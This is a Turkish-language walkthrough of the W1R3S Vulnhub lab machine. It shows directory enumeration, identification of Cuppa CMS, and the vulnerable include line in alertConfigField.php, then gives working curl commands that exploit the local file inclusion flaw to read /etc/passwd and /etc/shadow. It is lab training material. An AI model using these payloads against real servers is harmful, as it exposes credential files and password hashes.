Yazıda kullanılan W1R3S: 1.0.1 sanal makinesi Vulnhub sitesinden indirilebilir.
https://www.vulnhub.com/entry/w1r3s-101,220/
Sanal makinenin TCP\80 portunda Apache servisi koşmaktadır.
http://192.168.106.129
Uygulamadaki dizinlerin keşfi için Github üzerindeki dirsearch aracı kullanılabilir.
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch
./dirsearch.py -u http://192.168.106.129 -w /usr/share/dirb/wordlists/common.txt -e * -t 3
Derinlemesine keşif için dirsearch aracına “recursive” seçeneği de kullanılabilir.
./dirsearch.py -u http://192.168.106.129 -w /usr/share/dirb/wordlists/common.txt -e * -t 3 -r -R 4
Keşfedilen “administrator” dizinine gidildiğinde otomatik olarak “installation” dizinine yönlenmektedir.
whatweb http://192.168.106.129/administrator
Kurulum sayfasında veya “Next” butonuna tıklandığında gelen sayfanın başlığında Cuppa CMS kullanıldığı görülmektedir.
Cuppa CMS ile ilgili zafiyetler incelendiğinde LFI/RFI zafiyeti tespit edilmiştir.
searchsploit cuppa
searchsploit -m 25971
Zafiyet detayları incelendiğinde alertConfigField.php dosyasındaki kontrol eksikliğinin zafiyete sebebiyet verildiği görülmektedir.
Zafiyeti görebilmek için Cuppa CMS’in kaynak kodu internetten veya sanal makineden elde edilebilir. Cuppa CMS’in en güncel sürümünde de zafiyetin devam ettiği görülmektedir.
- https://github.com/CuppaCMS/CuppaCMS
- http://cuppacms.com/files/cuppa_cms.zip
- http://192.168.106.129/cuppa_cms.zip
“alertConfigField.php” dosyasının 77. satırında “include” fonksiyonuna istemci tarafından doğrudan veri gönderilebildiği ve sunucu tarafında da herhangi bir kontrolün yapılmadığı görülmektedir.
<div id=”content_alert_config” class=”content_alert_config”>
<?php include “../components/table_manager/fields/config/”.@$cuppa->POST(“urlConfig”); ?>
</div>
Zafiyetin istismarı için web tarayıcı kullanıldığında beklendiği gibi cevap alınamadığı için, URL kodlayarak “curl” aracı kullanılabilir.
curl -s –data-urlencode urlConfig=../../../../../../../../../etc/passwd http://192.168.106.129/administrator/alerts/alertConfigField.php | grep “class=\”content_alert_config\”” -A50
Benzer işlem /etc/shadow için yapıldığında da dosyanın okunabildiği görülmektedir.
curl -s –data-urlencode urlConfig=../../../../../../../../../etc/shadow http://192.168.106.129/administrator/alerts/alertConfigField.php | grep “class=\”content_alert_config\”” -A50 | grep -Ev “:\*:”
Not: Bu sanal makinede Cuppa CMS’i çalıştıran Apache uygulama kullanıcısının (www-data) standart bir hesap olduğu görülmektedir. Ancak /etc/shadow dosyasının içeriğinin okuma ve yazma yetkisi tüm kullanıcılara (Everyone / Others) verildiği için “www-data” kullanıcısının yetkisi ile işletim sistemindeki kullanıcıların parola özetleri okunabilmektedir.
netstat -nlpt
ps -ef | grep 1488
groups www-data
ls -la /etc/shadow
Sanal makinedeki Cuppa CMS’in yapılandırma dosyası incelendiğinde varsayılan kimlik bilgilerinin değiştirildiği de görülmektedir.
cat Configuration.php | grep -i ‘$password’ -A3 -B3
Kaynaklar:
http://www.hackingarticles.in/hack-the-w1r3s-inc-vm-ctf-challenge/
https://hackso.me/w1r3s-1.0.1-walkthrough/
https://tools.cisco.com/security/center/viewAlert.x?alertId=33308
https://timms.io/writeup/vm/blog/2018/12/01/w1r3s-walkthrough/
https://github.com/C0reL0ader/EaST/blob/master/exploits/ef_cuppacms_lfi.py